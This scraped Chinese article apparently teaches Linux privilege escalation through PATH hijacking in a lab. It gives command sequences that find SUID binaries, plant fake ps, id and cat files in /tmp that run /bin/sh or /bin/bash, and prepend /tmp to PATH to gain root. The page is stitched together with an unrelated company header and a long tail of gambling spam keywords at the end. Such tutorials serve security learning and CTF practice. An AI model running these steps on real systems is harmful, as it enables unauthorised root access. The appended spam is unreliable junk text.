吴忠躺衫网络科技有限公司

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

如何使用環境變量進行Linux提權的方法詳細資料概述

馬哥Linux運維 ? 來源:未知 ? 作者:易水寒 ? 2018-07-05 09:50 ? 次閱讀

在這篇文章中,我將會為大家介紹一些使用環境變量進行Linux提權的方法,包括在CTF challenges中使用到一些的技術。話不多說,讓我們進入正題!

介紹

PATH是Linux和類Unix操作系統中的環境變量,它指定存儲可執行程序的所有bin和sbin目錄。當用戶在終端上執行任何命令時,它會通過PATH變量來響應用戶執行的命令,并向shell發送請求以搜索可執行文件。超級用戶通常還具有/sbin和/usr/sbin條目,以便于系統管理命令的執行。

使用echo命令顯示當前PATH環境變量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH變量中看到‘.’,則意味著登錄用戶可以從當前目錄執行二進制文件/腳本,這對于攻擊者而言也是一個提權的絕好機會。這里之所以沒有指定程序的完整路徑,往往是因為編寫程序時的疏忽造成的。

方法1

Ubuntu LAB SET_UP

當前,我們位于/home/raj目錄,我們將在其中創建一個名為/script的新目錄。在script目錄下,我們將編寫一個小型的c程序來調用系統二進制文件的函數。

pwdmkdir scriptcd /scriptnano demo.c

如何使用環境變量進行Linux提權的方法詳細資料概述

正如你在demo.c文件中看到的,我們正在調用ps命令。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM機器

假設我們已經成功滲透目標,并進入提權階段。我們通過ssh成功登錄到了受害者的機器。然后使用Find命令,搜索具有SUID或4000權限的文件。

find / -perm -u=s -type f 2>/dev/null

通過上述命令,攻擊者可以枚舉出目標系統上所有的可執行文件,這里可以看到/home/raj/script/shell具有SUID權限。

進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell”文件,我們運行這個文件。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符號鏈接也叫軟鏈接,如果目錄具有完全權限,則它將成功運行。在Ubuntu中symlink情況下,我們已經賦予了/script目錄777的權限。

因此,攻擊者可以操縱環境變量PATH來進行提權,并獲得root訪問權限。

方法2

Ubuntu LAB SET_UP

重復上述步驟配置你的實驗環境,現在在腳本目錄中,我們將編寫一個小型的c程序來調用系統二進制文件的函數。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我們正在調用id命令。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM機器

同樣,假設我們已經成功滲透目標,并進入提權階段。我們通過ssh成功登錄到了受害者的機器。然后使用Find命令,搜索具有SUID或4000權限的文件。在這里,我們可以看到/home/raj/script/shell2具有SUID權限。

find / -perm -u=s -type f 2>/dev/null

進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“shell2”文件,我們運行這個文件。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重復上述步驟配置你的實驗環境。正如你在demo.c文件中看到的,我們正在調用cat命令從etc/passwd文件中讀取內容。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM機器

同樣,假設我們已經成功滲透目標,并進入提權階段,通過執行以下命令查看sudo用戶列表。

find / -perm -u=s -type f 2>/dev/null

在這里,我們可以看到/home/raj/script/raj具有SUID權限,進入到home/raj/script/目錄,可以看到該目錄下有一個可執行的“raj”文件。所以當我們運行這個文件時,它會把etc/passwd文件作為輸出結果。

cd /home/raj/script/ls./raj

Nano**編輯器**

cd /tmpnano cat

現在,當終端打開時輸入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重復上述步驟配置你的實驗環境。正如你在demo.c文件中看到的,我們正在調用cat命令讀取/home/raj中的msg.txt中的內容,但/home/raj中并沒有這樣的文件。

然后使用gcc編譯demo.c文件,并提升編譯文件的SUID權限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM機器

同樣,假設我們已經成功滲透目標,并進入提權階段,通過執行以下命令查看sudo用戶列表

find / -perm -u=s -type f 2>/dev/null

在這里,我們可以看到/home/raj/script/ignite具有SUID權限,進入到/home/raj/script目錄,可以看到該目錄下有一個可執行的“ignite”文件。所以當我們運行這個文件時,它會報錯“cat: /home/raj/msg.txt”文件或目錄不存在。

cd /home/raj/scriptls./ignite

Vi編輯器

cd /tmpvi cat

現在,當終端打開時輸入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

如何使用環境變量進行Linux提權的方法詳細資料概述

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • Linux
    +關注

    關注

    87

    文章

    11345

    瀏覽量

    210389
  • UNIX
    +關注

    關注

    0

    文章

    296

    瀏覽量

    41574
  • ECHO
    +關注

    關注

    1

    文章

    73

    瀏覽量

    27224

原文標題:黑客的Linux神技能:使用環境變量進行提權

文章出處:【微信號:magedu-Linux,微信公眾號:馬哥Linux運維】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    USB 一線通監控副屏

    環境搭建環境變量配置為了提高一些編譯的速度,選擇了在Linux系統下進行開發,在Linux上開發N947需要先安裝e
    的頭像 發表于 12-07 01:10 ?199次閱讀
    USB 一線通監控副屏

    Linux環境變量配置方法

    Linux環境變量配置分為設置永久變量和臨時變量兩種。環境變量設置方法同時要考慮
    的頭像 發表于 10-23 13:39 ?217次閱讀

    Xilinx設計工具怎么設置環境變量

    如果您不確定如何設置環境變量,嘗試"1" 或 "TRUE"。
    的頭像 發表于 10-22 13:32 ?264次閱讀

    嵌入式學習-飛凌嵌入式ElfBoard ELF 1板卡-開發環境搭建之交叉編譯

    不同的cpu的對應的可執行的二進制文件。交叉編譯鏈安裝建立交叉編譯環境又可分為安裝SDK(其中包含了交叉編譯工具鏈)和設置交叉編譯環境變量。SDK路徑:EF1開發板資料包/06-常用工具/06-1 編譯
    發表于 09-30 09:36

    飛凌嵌入式ElfBoard ELF 1板卡-開發環境搭建之交叉編譯

    不同的cpu的對應的可執行的二進制文件。交叉編譯鏈安裝建立交叉編譯環境又可分為安裝SDK(其中包含了交叉編譯工具鏈)和設置交叉編譯環境變量。SDK路徑:EF1開發板資料包/06-常用工具/06-1 編譯
    發表于 09-29 09:51

    請問ENV設置環境變量怎么保存?

    我按照手冊設置好了環境變量 可是如果重啟一下env窗口 剛剛設置的又清掉了 請問下有沒有人知道怎么保存這個環境變量
    發表于 07-09 06:24

    utuntu環境下,ESP32和ESP8266設置環境變量時有沖突,怎樣兼容呢?

    ubuntu環境下,ESP32和ESP8266同時開發,設置環境變量PATH時遇到疑問,如下: export PATH=\"$HOME/esp/xtensa-esp32-elf/bin
    發表于 06-28 11:10

    esp32如何設置OPENOCD_SCRIPTS這個環境變量的值?

    esp32需要設置OPENOCD_SCRIPTS這個環境變量的值,但是設置之后會影響stm32使用openocd的調試,有什么好的辦法處理嗎?
    發表于 06-18 08:07

    鴻蒙開發:訂閱系統環境變量的變化

    系統環境變量是指:在應用程序運行期間,終端設備的系統設置(例如系統的語言環境、屏幕方向等)發生變化。
    的頭像 發表于 06-11 21:56 ?350次閱讀
    鴻蒙開發:訂閱系統<b class='flag-5'>環境變量</b>的變化

    嵌入式學習-飛凌嵌入式ElfBoard ELF 1板卡-交叉編譯鏈描述及使用方法

    1.交叉編譯鏈:arm-poky-linux-gnueabi 2.默認安裝路徑:/opt/fsl-imx-x11/4.1.15-2.0.0 3.設置環境變量的命令:. /opt
    發表于 05-20 16:55

    飛凌嵌入式ElfBoard ELF 1板卡-交叉編譯鏈描述及使用方法

    1.交叉編譯鏈:arm-poky-linux-gnueabi 2.默認安裝路徑:/opt/fsl-imx-x11/4.1.15-2.0.0 3.設置環境變量的命令:. /opt
    發表于 05-20 16:53

    兩種linux系統下常見的HOOK方法

    Linux提供了一個名為LD_PRELOAD的環境變量。這個環境變量允許用戶指定一個或多個共享鏈接庫文件的路徑。當程序啟動時,動態加載器會在加載C語言運行庫之前,首先加載LD_PRELOAD所指定的共享鏈接庫。這種加載方式被稱為
    發表于 04-08 11:26 ?4423次閱讀
    兩種<b class='flag-5'>linux</b>系統下常見的HOOK<b class='flag-5'>方法</b>

    Linux的declare/typeset命令介紹

    的Shell變量換成環境變量-p:顯示變量定義的方式和值+:取消變量屬性,但是+a和+r無效,無法刪除數組和只讀屬性,可以使用unset刪除數組,但是unset不能刪除只讀
    發表于 04-08 07:03

    【LicheeRV-Nano開發套件試用體驗】基礎開發環境

    /17時候各官方庫公布的最新版本是一樣的。下載時候記得看看版本公布時間。 官方默認固件使用的gcc host版本為riscv64-unknown-linux-musl 對于部分不認基礎環境變量的庫
    發表于 03-18 00:12

    linux命令概述

    電子發燒友網站提供《linux命令概述.pdf》資料免費下載
    發表于 03-11 09:18 ?3次下載
    水果机技术打法| 百家乐规则| 九江县| 百家乐官网包台| 折式百家乐赌台| 百家乐科学打| 疏附县| 上海百家乐官网的玩法技巧和规则 | 百家乐视频游戏世界| 大发888娱乐城游戏lm0| 津市市| 百家乐公试打法| 全讯网168268| 百家乐官网人生信条漫谈| 百家乐硬币打法| 大发888娱乐场官网官方下载| 百家乐官网9人桌| 百家乐庄闲和各| 拉斯维加斯| 通化市| 曼哈顿百家乐官网的玩法技巧和规则| 喜力百家乐的玩法技巧和规则 | 百家乐作弊内幕| 全讯网图库| 百家乐官网下对子的概率| 太阳城百家乐外挂| 棋牌游戏| 打百家乐的技巧| 皇博娱乐| 24山向吉凶水法| 网上赌博网址| 九州百家乐官网的玩法技巧和规则 | 新澳门百家乐官网软件下载 | 亲朋棋牌手机版下载| 粤港澳百家乐官网娱乐| 百家乐群lookcc| 百家乐官网21点德州扑克| 怎么赌百家乐能赢| 菠菜百家乐官网娱乐城| 乐天堂百家乐娱乐| 澳门百家乐官网在线|